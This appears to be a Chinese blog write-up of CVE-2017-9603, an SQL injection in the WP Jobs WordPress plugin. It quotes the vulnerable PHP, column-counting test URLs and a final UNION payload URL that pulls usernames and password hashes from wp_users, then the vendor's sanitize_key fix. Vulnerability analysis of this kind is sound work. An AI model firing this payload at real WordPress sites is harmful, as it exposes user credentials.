CVE-2017-9603分析
目录
一、CVE-2017-9603
WordPress Plugin WP Jobs < 1.5 - SQL Injection
二、漏洞分析
问题出现在wp-jobswpjobs_applications,php,第10行到第62行:
<?php
$job_id = $_REQUEST['jobid']; //获取jobid
$jb_args = array(
'posts_per_page' => -1,
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'job',
'post_status' => 'publish',
'suppress_filters' => true);
$jobs = get_posts($jb_args);
?>
<form autocomplete="off" name="form" id="form">
<?php _e('Filter by Job', 'wp-jobs'); ?> <select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent', this, 0)">
<option value="edit.php?post_type=job&page=WPJobsJobApps">All Applications</option>
<?php foreach ($jobs as $job_info) : setup_postdata($jobs); ?>
<option <?php
if ($job_info->ID == $job_id) {
echo 'selected="selected"';
}
?> value="edit.php?post_type=job&page=WPJobsJobApps&jobid=<?php echo $job_info->ID; ?>"><?php echo $job_info->post_title; ?></option>
<?php
endforeach;
wp_reset_postdata();
?>
</select>
</form>
<style>
.dctrprt tr th, .dctrprt tr td {
font-family:Arial, Helvetica, sans-serif;
font-size:13px;
}
</style>
<table class="widefat dctrprt">
<tr>
<th><strong><?php _e('S.No', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Job Title', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Full Name', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Email', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Phone Number', 'wp-jobs'); ?></strong></th>
<th><strong><?php _e('Download Resume', 'wp-jobs'); ?></strong></th>
</tr>
<?php
$tbl = $wpdb->prefix;
$qry = "Select * from " . $tbl . "app_user_info ";
if ($job_id <> "") {
$qry .= " where app_job_id = " . $job_id; //直接带入SQL语句查询
}
$qry .= " Order by `app_id` Desc ";
$users = $wpdb->get_results($qry);
$i = 1;
foreach ($users as $user) {
?>
漏洞的原因很简单,系统在request jobid后,没有进行任何转义或者过滤处理,直接简单的判断了下job_id的值是否为空,然后就拼接到了SQL语句中,从而导致了SQL注入漏洞。 测试如下:
http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- admin
当字段数为6的时候,返回特殊页面。
说明字段数为6。 可以使用mysql监控工具可以看到执行的SQL语句:
可以看到,我们所构造的语句被拼接到SQL语句中执行。 尝试查看数据库版本:
成功查询。 最终可构造的EXP的如下:
http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11 UNION ALL SELECT NULL,CONCAT(0x3930736563,IFNULL(CAST(user_nicename AS CHAR),0x20),0x7430306c73,IFNULL(CAST(user_pass AS CHAR),0x20),0x70616e6461),NULL,NULL,NULL,NULL FROM wordpress.wp_users-- admin
三、 修复方案 看下官方的修复方案:
在1.4的版本中:
<?php
$job_id = $_REQUEST['jobid'];
$jb_args = array(
'posts_per_page' => -1,
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'job',
'post_status' => 'publish',
'suppress_filters' => true);
$jobs = get_posts($jb_args);
?>
1.5版本中:
<?php
$job_id = isset($_REQUEST['jobid']) ? sanitize_key($_REQUEST['jobid']) : null;
$jb_args = array(
'posts_per_page' => -1,
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'job',
'post_status' => 'publish',
'suppress_filters' => true);
$jobs = get_posts($jb_args);
?>
可以看到官方对于jobid加了一个wordpress自带函数sanitize_key来过滤特殊字符,使jobid的参数只允许包含数字和字母,破折号和下划线,从而修复了SQL注入漏洞。
四、总结
由于刚开学事情比较多,而且在忙学校的一个作品竞赛,所以没太多时间研究其他比较有意思的CVE漏洞,只是随便在exploit-db找了一个有CVE编号的进行分析。结果分析下来发现,这个CVE其实没什么亮点内容,也就是一个常见的注入漏洞,而且这个漏洞比较鸡肋,因为只有管理员权限才可查看WPJobsJobApps界面,才能进一步进行注入。不得不感叹一声,只要肯研究CVE真不是难事
相关文章
- 编译原理实验1词法分析器的设计_编译原理实验一 词法分析
- 终于有人把不同标签的加工内容与落库讲明白了丨DTVision分析洞察篇
- 检信非接触式语音微表情心理分析及审讯系统
- 如何对minio进行性能测试和分析
- USB总线-Linux内核USB3.0设备控制器复合设备之legacy方式分析(八)
- React源码分析3-render阶段(穿插scheduler和reconciler)5
- 【BLE MIDI】MIDI 文件格式分析 ( MIDI 轨道分析 | MIDI 轨道头 | MIDI 轨道长度 | delta-time 间隔 )
- GNU/Linux程序崩溃分析框架漏洞导致内核提权风险
- “震网三代”CVE-2017-8464漏洞分析和预警
- MySQL在全国省市区中的应用现状分析(全国省市区mysql)
- MSSQL:优势与不足的双面分析(mssql的优势和缺点)
- 范式常见问题MySQL 数据库设计中常以三范式为基础,但实际应用中也经常面临各种与反三范式有关的挑战和问题,请看重点分析
- 面试中的Redis题目剖析与回应(redis面试题分析)
- 远程分析IIS设置
- 浏览器预览PHP文件时顶部出现空白影响布局分析原因及解决办法
- window.open关于浏览器拦截问题分析及解决方法
- OracleORA-22908(NULL表值的参考)异常分析与解决方法